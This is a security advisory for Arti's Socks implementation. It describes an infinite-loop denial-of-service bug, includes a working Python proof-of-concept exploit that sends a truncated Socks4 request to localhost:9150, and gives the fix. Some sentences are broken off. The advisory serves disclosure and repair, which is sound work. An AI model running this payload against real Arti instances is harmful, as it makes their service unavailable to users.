TROVE-2023-001: [from firstname.lastname@example.org] DoS via infinite loop in Socks protocol implementation
Received the following email on email@example.com:
The Socks protocol implementation in Arti will read from the socket to a
1024-bytes buffer in a loop. After reading from the socket, the packet is
handshake.handshake, which will return the following values:
Ok(Ok(action)): Valid data received
Ok(Err(e)): Data is invalid, close connection
Err(_): Data is truncated/not yet fully read from socket
In the case of truncated data, the loop will read from the socket again, up to
the 1024-bytes length of the buffer. After that,
called again, possibly repeatedly until enough data has been received:
Err(_) even if the buffer is already full,
the implementation will try to read zero bytes (
in_buf[1024..] is an empty
buffer), which will instantly finish. After this reading attempt, the code
will try parsing the same data again, effectively resulting in an infinite
loop. This can be triggered via the (null-terminated) username or hostname
string in Socks4:
The following PoC will connect to 127.0.0.1:9150 and send a payload to exploit this issue:
#!/usr/bin/env python3 import socket def main(): s = socket.create_connection(("127.0.0.1", 9150)) f = s.makefile('rwb') buf = b"".join([ b"\x04", # Socks version 4 b"\x01", # SocksCmd::CONNECT b"\x1337", # Port, doesn't matter b"\x7f\x00\x00\x01", # IP Addr, doesn't matter b"A" * 1024 # Username ]) buf = buf[0:1024] # Truncate it to 1024 bytes f.write(buf) f.flush() if __name__ == '__main__': main()
In order to cause full DoS against the arti binary, this exploit will need to be run multiple times. Each run of the exploit will result in one thread in an infinite loop and effectively block one thread of the tokio runtime. The number of available threads defaults to the number of available CPUs and once all these threads are stuck in an infinite loop, the arti binary will be totally unresponsive.
Attackers able to reach the Socks port of Arti can cause DoS. Since the Socks port is by default only reachable on localhost, the risk is relatively low. However, there are a couple of situations where this could still be exploited:
- Untrusted software running on the local machine, possibly in a sandboxed environment (for example Android Apps or certain software plugins) can still have unlimited network communication to localhost.
- Arti used as a Tor gateway to provide Tor for other machines, i.e. on a Raspberry Pi.
Abort socks handling loop if
means that more input data is expected) even though the input buffer has
already been fully received (up to the 1024 byte limit).